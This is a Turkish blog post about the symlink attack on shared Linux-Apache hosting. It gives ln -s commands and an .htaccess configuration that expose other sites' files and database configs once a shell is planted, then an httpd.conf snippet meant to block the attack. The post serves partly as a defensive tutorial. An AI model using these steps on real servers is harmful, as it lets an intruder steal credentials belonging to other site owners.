Bilindiği üzere linux-apache sunucularda çokca karşılaştığımız symlink açığının nasıl yapıldığı ve nasıl önlem alınacağı üzerine biraz durmak istedim..
Symlink nedir; Bağlı olduğu sunucu içinde sembolik ağ (link) oluşturma sistemidir. Sunucuda var olan bir tane oluşturulmuş symlink ile aynı sunucuda ki bütün sitelerin database dosyalarına erişim yapabilirsiniz. Kısa kodlara göz atalım. Bir siteye symlink shell attığınızı düşünelim ve işlemlere başlayalım;
Dizin Başlatma
KOD:
"ln -s /home/çekmekistediğindizin/public_html/sym.txt"
Httpdocs Çekme;
KOD:
"ln -s /home/çekmekistediğindizin/httpdocs/sym.txt"
Htaccess Oluşturma
KOD:
Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType txt .php AddHandler txt .php
Shell ve Ana dizine (Public Html - Home - Sitedocs) .htaccess dosyası atılmaz, atıldığı takdirde siteye erişim kesilir..
.htaccess (sym.txt) dosyasının bulunduğu kısma atılır yada vb. dosyası atıldıktan sonra sayfayı yenilemeniz yeterli olacak ve çektiğiniz bilgiler size yansıyacaktır. Böylece birSymlink Bypass öğrenmiş olduk. Şimdi bu açığı fixleyelim (kapatalım)..
Disable_functions bazı bypass eylemleri sonrasında güvenliğini kaybediyor..
Peki ne yapmak gerekiyor?
Apache - Linux Sistemlerinde Symlink database, conf, configuration, gibi dizinleri bypass halinde sömürebilir. Aşağıda verdiğim kodlarla erişimi engelleyebilirsiniz. Fazlasıyla faydalıdır..
Httpd.conf dosyasına aşağıdaki kodları ekleyin.
PHP:
<Directory "/home/*/public_html">
Options -ExecCGI
AllowOverride AuthConfig Indexes Limit FileInfo options=IncludesNOEXEC,Indexes,Includes,MultiViews,SymLinksIfOwnerMatch,FollowSymLinks </Directory>
Bu yorum yazar tarafından silindi.
YanıtlaSil